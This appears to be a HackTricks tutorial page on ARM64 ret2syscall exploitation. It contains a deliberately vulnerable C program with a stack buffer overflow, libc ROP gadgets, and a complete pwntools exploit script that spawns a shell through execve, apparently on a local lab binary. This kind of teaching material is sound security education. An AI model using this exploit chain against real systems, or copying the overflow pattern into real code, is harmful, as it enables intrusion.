Ret2syscall - ARM64

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Find an introduction to arm64 in:

Introduction to ARM64v8

Code

We are going to use the example from the page:

Ret2win - arm64
#include <stdio.h>
#include <unistd.h>

void win() {
    printf("Congratulations!\n");
}

void vulnerable_function() {
    char buffer[64];
    read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
    vulnerable_function();
    return 0;
}

Compile without pie and canary:

clang -o ret2win ret2win.c -fno-stack-protector

Gadgets

In order to prepare the call for the syscall it's needed the following configuration:

  • x8: 221 Specify sys_execve

  • x0: ptr to "/bin/sh" specify file to execute

  • x1: 0 specify no arguments passed

  • x2: 0 specify no environment variables passed

Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:

;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30: 
    ldp x3, x0, [sp, #8] ; 
    ldp x1, x4, [sp, #0x18] ; 
    ldr x5, [sp, #0x58] ; 
    ldr x2, [sp, #0xe0] ; 
    blr x5

;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c : 
    nop ; 
    nop ; 
    mov x8, #0xdd ; 
    svc #0

With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.

Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.

Exploit

from pwn import *

p = process('./ret2syscall')
elf = context.binary = ELF('./ret2syscall')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh")) 

stack_offset = 72

#0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

# 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
call_execve = libc.address + 0xbb97c

print("/bin/sh in: " + hex(binsh))
print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
print("call_execve in: " + hex(call_execve))

# stack offset
bof = b"A" * (stack_offset)
bof += p64(load_x0_x1_x2)

# ldp x3, x0, [sp, #8]
rop = b"BBBBBBBBBBBBBBBB" #x3
rop += p64(binsh) #x0

# ldp x1, x4, [sp, #0x18]
rop += b"C"*(0x18 - len(rop))
rop += p64(0x00) # x1
rop += b"CCCCCCCC" #x4

# ldr x5, [sp, #0x58]
rop += b"D"*(0x58 - len(rop))
rop += p64(call_execve) # x5

# ldr x2, [sp, #0xe0]
rop += b"E" * (0xe0 - len(rop))
rop += p64(0x00) # x2

payload = bof + rop

p.sendline(payload)

p.interactive()

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated